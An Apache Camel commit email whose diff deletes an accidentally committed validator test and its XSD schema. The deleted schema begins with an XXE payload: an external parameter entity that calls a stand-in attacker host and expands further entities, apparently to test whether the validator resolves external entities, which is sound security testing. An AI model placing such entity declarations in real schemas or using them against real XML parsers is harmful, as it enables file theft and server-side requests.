This is an automated email from the ASF dual-hosted git repository.
ningjiang pushed a commit to branch master
in repository https://gitbox.apache.org/repos/asf/camel.git
The following commit(s) were added to refs/heads/master by this push:
new fb6dc30 CAMEL-12475 Removed the files which are committed by accident
fb6dc30 is described below
commit fb6dc30e997b380af7d59df1ae09d6ec9b6f1012
Author: Willem Jiang <[email protected]>
AuthorDate: Thu May 3 10:44:32 2018 +0800
CAMEL-12475 Removed the files which are committed by accident
---
.../processor/ValidatingProcessorSchemaTest.java | 55 ----------------------
.../camel/processor/ValidatingProcessorFailed.xsd | 41 ----------------
2 files changed, 96 deletions(-)
diff --git
a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
b/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
deleted file mode 100644
index 77bb18c..0000000
---
a/camel-core/src/test/java/org/apache/camel/processor/ValidatingProcessorSchemaTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package org.apache.camel.processor;
-
-import java.io.File;
-
-import org.apache.camel.ContextTestSupport;
-import org.apache.camel.RuntimeCamelException;
-import org.apache.camel.ValidationException;
-import org.apache.camel.builder.RouteBuilder;
-import org.apache.camel.component.mock.MockEndpoint;
-import org.apache.camel.processor.validation.ValidatingProcessor;
-import org.xml.sax.SAXParseException;
-
-public class ValidatingProcessorSchemaTest extends ContextTestSupport {
-
- protected ValidatingProcessor validating;
-
- @Override
- protected void setUp() throws Exception {
- validating = new ValidatingProcessor();
- validating.setSchemaFile(new
File("src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd"));
-
- super.setUp();
- }
-
- public void testSchemaWithValidMessage() throws Exception {
- MockEndpoint mock = getMockEndpoint("mock:error");
- mock.expectedMessageCount(1);
-
- String xml = "<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>"
- + "<user xmlns=\"http://foo.com/bar\">"
- + " <id>1</id>"
- + " <username>davsclaus</username>"
- + "</user>";
-
- template.sendBody("direct:start", xml);
- System.out.println(mock.getExchanges().get(0));
-
- assertMockEndpointsSatisfied();
- }
-
- protected RouteBuilder createRouteBuilder() {
- return new RouteBuilder() {
- public void configure() {
-
//errorHandler(deadLetterChannel("mock:error").redeliveryDelay(0).maximumRedeliveries(3));
-
- //onException(SAXParseException.class).to("mock:schemeError");
-
- from("direct:start").
- process(validating).
- to("mock:valid");
- }
- };
- }
-
-}
diff --git
a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
b/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
deleted file mode 100644
index 7aa2aa4..0000000
---
a/camel-core/src/test/resources/org/apache/camel/processor/ValidatingProcessorFailed.xsd
+++ /dev/null
@@ -1,41 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
-<!--
-
- Licensed to the Apache Software Foundation (ASF) under one or more
- contributor license agreements. See the NOTICE file distributed with
- this work for additional information regarding copyright ownership.
- The ASF licenses this file to You under the Apache License, Version 2.0
- (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
-
--->
-<!DOCTYPE root [
- <!ENTITY % remote SYSTEM "http://attackers.site:53/TEST">
- %remote;
- %run;
- %trick;]>
-
-<xs:schema elementFormDefault="qualified" version="1.0"
- targetNamespace="http://foo.com/bar"
- xmlns:tns="http://foo.com/bar"
- xmlns:xs="http://www.w3.org/2001/XMLSchema">
-
-
- <xs:element name="user">
- <xs:complexType>
- <xs:sequence>
- <xs:element name="id" type="xs:int"/>
- <xs:element name="username" type="xs:string"/>
- </xs:sequence>
- </xs:complexType>
- </xs:element>
-
-</xs:schema>
--
To stop receiving notification emails like this one, please contact
[email protected].